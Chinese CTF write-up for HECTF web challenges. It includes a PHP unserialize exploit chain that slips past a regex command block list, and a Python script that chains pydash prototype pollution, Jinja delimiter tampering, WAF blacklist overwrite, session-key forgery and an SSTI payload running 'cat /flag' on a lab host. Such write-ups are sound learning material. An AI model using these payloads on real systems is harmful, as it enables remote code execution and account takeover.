HECTF
Are u happy
直接搜HECTF{编码后的字符串就行.
baby_sql
sqlmap一把梭,说是有waf试了半天实际没有.
baby_unserialize
<?php
error_reporting(0);
show_source(__FILE__);
echo "flag in /flag</br>";
class User{
public $name;
public $passwd;
public $msg;
public $token = "guest";
public function __construct($name,$passwd){
$this->name = $name;
$this->passwd = $passwd;
}
public function __wakeup(){
$this->token = "guest";
}
public function __destruct(){
if(!$this->check()){
exit(0);
}else{
echo $this->msg;
}
}
public function check(){
if ($this->token === "admin"){
return true;
}else{
return false;
}
}
}
class class00{
public function __call($a,$b){
return 1;
}
public function __set($a, $b){
$b();
}
}
class class01{
public $temp = 0;
public $str3;
public $cls;
public function __tostring(){
$this->temp = $this->cls->func1();
if ($this->temp === 1){
$this->cls->str1 = $this->str3;
}else{
echo "0";
return "0";
}
return "have fun";
}
}
class class02{
public $payload;
public function __invoke(){
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|;|date|bash|\$|\x00|`|env|\?|wget|\"|\'|\\\|php|id|whoami|=/i', $this->payload)) {
system($this->payload." >/dev/null 2>&1");
}else{
die("fuck you Hacker");
}
}
}
if (isset($_POST["user"])){
$user = unserialize(base64_decode($_POST["user"]));
}else{
exit();
}
一个是要打php5.4去绕过__wakeup,另外就是绕过waf去RCE.exp如下
<?php
class User{
public $msg;
public $token = "admin";
}
class class00{
}
class class01{
public $temp = 0;
public $str3;
public $cls;
}
class class02{
public $payload;
}
$a = new User();
$a -> msg = new class01();
$a -> msg -> cls = new class00();
$a -> msg -> str3 = new class02();
$a -> msg -> str3 -> payload = "/bin/[b-d][a-c][s-u] /f[k-m]ag #";
echo serialize($a);
吐槽一下,为什么禁用nl但是没有/bin/nl文件
把数改大一下直接就能绕过__wakeup
你一个人专属的进货网站
app.py:
"""
题目描述:w41tm00n第一次学习开发网站,老板让他三天之内搞定。
第二天,w41tm00n终于写完了代码,并且进行了调试,网站在服务器上能够正常运行,但是w41tm00n没学过网安的知识,写的网站存在漏洞
你作为w41tm00n的好朋友,同时你也是位网安的实习生,w41tm00n就找到了你帮他测试网站是否存在漏洞。
w41tm00n跟你说,他放了一个惊喜在服务器上,如果你成功入侵了这个服务器的话就可以得到这个礼物的线索(/flag文件)
"""
import WAF
import os
from flask import Flask, render_template, redirect, request, session,render_template_string
from pydash import set_
#pip install -v pydash==5.1.2
app = Flask(__name__)
app.secret_key = os.urandom(24)
login = 0
user = None
class Users:
def __init__(self, username, password,gender="secret"):
self.username = username
self.password = password
self.gender = gender
self.property = 0
self.purchased = 0
class Apple:
def __init__(self):
self.price = 15
self.inventory = 1000
apple = Apple()
def veryfy():
if session.get('verify') == "admin":
return True
else:
return False
@app.route('/')
def main():
if not session.get('username'):
return redirect("/login",302)
else:
return render_template("index.html")
@app.route('/login', methods=['GET','POST'])
def login():
try:
username = request.form['username']
password = request.form['password']
except KeyError:
username = None
password = None
if username and password:
global login
global user
login= 1
user = Users(username, password)
session['username'] = user.username
session['password'] = user.password
session['verify'] = "user"
return redirect("/",302)
else:
return render_template('login.html')
@app.route('/admin', methods=['GET','POST'])
def admin():
if veryfy() == True:
render_html = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>你好admin</title>
</head>
<body>
当前管理员账户的用户名:%s </br>
剩余苹果数量为:%d </br>
<a href="/stock"><button>重新进或1000苹果</button></a>
</br>
<a href="/"><button>主页</button></a>
</body>
</html>
"""
if WAF.waf(user.username):
return """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>NO,Hacker</title>
</head>
<body>
<script>
alert("No,Hacker");
location.href = "/login";
</script>
</br>
</body>
</html>
"""
else:
return render_template_string(render_html%(user.username,apple.inventory))
else:
return render_template("admin_false.html")
@app.route('/setUserInfo', methods=['GET','POST'])
def setUserInfo():
if request.method == 'GET':
if login == 1:
return render_template("setting_userInfo.html", username=user.username,password=user.password,gender=user.gender,property=user.property,purchased=user.purchased)
else:
return redirect("/login",302)
if request.method == 'POST':
try:
key = request.form['key']
value = request.form['value']
except KeyError:
key = None
value = None
if key and value:
if key == "username":
session["username"] = key
elif key == "password":
session["password"] = key
set_(user,key,value)
return render_template("setting_userInfo.html", username=user.username,password=user.password,gender=user.gender,property=user.property,purchased=user.purchased)
else:
return "输入异常!"
@app.route("/purchase",methods=['GET','POST'])
def purchase():
if request.method == 'GET':
return render_template("purchase.html",apple_price=apple.price,apple_inventory=apple.inventory)
if request.method == 'POST':
try:
count = int(request.form['count'])
except KeyError:
count = 0
if count != 0:
if count > apple.inventory:
return """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>存货不足</title>
</head>
<body>
存货不足,请等待进货
</body>
<script>
alert("存货不足,请等待进货");
location.href = "/purchase";
</script>
</html>
"""
if user.property >= apple.price * count:
user.purchased += count
apple.inventory -= count
user.property -= apple.price * count
return render_template("purchase.html",apple_price=apple.price,apple_inventory=apple.inventory)
else:
return """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>金额不足</title>
</head>
<body>
金额不足,请充值
</body>
<script>
alert("金额不足,请充值");
location.href = "/purchase";
</script>
</html>
"""
@app.route("/stock", methods=["GET", "POST"])
def stock():
if veryfy() == True:
apple.inventory = 1000
return """
<script>
location.href = "/admin";
</script>
"""
else:
return """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>权限不足</title>
</head>
<body>
权限不足
</body>
<script>
alert("权限不足");
location.href = "/login";
</script>
</html>
"""
if __name__ == '__main__':
app.run()
WAF.py
blacklist = [
xxxxxxxx
]
def waf(strings):
for temp in blacklist:
if temp in strings:
return True
else:
pass
return False
可以看到在/admin路由下存在ssti逻辑,但是存在未知waf.而且需要伪造admin的session才能进入/admin路由.
发现在/setUserInfo路由下存在函数set_(user,key,value).由于存在注释#pip install -v pydash==5.1.2,查找响应漏洞发现是2024国赛赛题改编.
可以通过设置key为.__init__.__globals__.app.config.SECRET_KEY,value为123来修改session秘钥.
改完以后去打ssti,发现这waf防的像孙子似的.最开始发现防了{{}}和{%%},于是打了一手原形链污染jinjia2标识符.
setUserInfo_data = {
'key': ".__init__.__globals__.app.jinja_env.variable_start_string",
'value': "[["
}
response2 = requests.post(setUserInfo_url, data=setUserInfo_data)
setUserInfo_data = {
'key': ".__init__.__globals__.app.jinja_env.variable_end_string",
'value': "]]"
}
response3 = requests.post(setUserInfo_url, data=setUserInfo_data)
回头一看发现()也被禁用了.突然意识到WAF.blacklist是可以被修改的,如果修改为一个字符串的话不影响for in遍历.
写成脚本
import requests
url = '8.153.107.251:32109'
login_url = f'http://{url}/login'
setUserInfo_url = f'http://{url}/setUserInfo'
admin_url = f'http://{url}/admin'
username = "[[g.pop.__globals__.__builtins__.__import__('os').popen('cat /flag').read()]]"
password = "lbz"
login_data = {
'username': username,
'password': password
}
response0 = requests.post(login_url, data=login_data)
setUserInfo_data = {
'key': ".__init__.__globals__.app.config.SECRET_KEY",
'value': "123"
}
response1 = requests.post(setUserInfo_url, data=setUserInfo_data)
setUserInfo_data = {
'key': ".__init__.__globals__.app.jinja_env.variable_start_string",
'value': "[["
}
response2 = requests.post(setUserInfo_url, data=setUserInfo_data)
setUserInfo_data = {
'key': ".__init__.__globals__.app.jinja_env.variable_end_string",
'value': "]]"
}
response3 = requests.post(setUserInfo_url, data=setUserInfo_data)
setUserInfo_data = {
'key': ".__init__.__globals__.WAF.blacklist",
'value': "%"
}
response4 = requests.post(setUserInfo_url, data=setUserInfo_data)
session = input("Enter the session cookie: ")
# python3 flask_session_cookie_manager3.py encode -s '123' -t "{'username':'[[g.pop.__globals__.__builtins__.__import__(\'os\').popen(\'cat /flag\').read()]]','password':'lbz','verify':'admin'}"
cookies = {
'session': session
}
response5 = requests.get(admin_url, cookies=cookies)
print(response5.text)
session直接用flask_session_cookie_manager去伪造就行.

浙公网安备 33010602011771号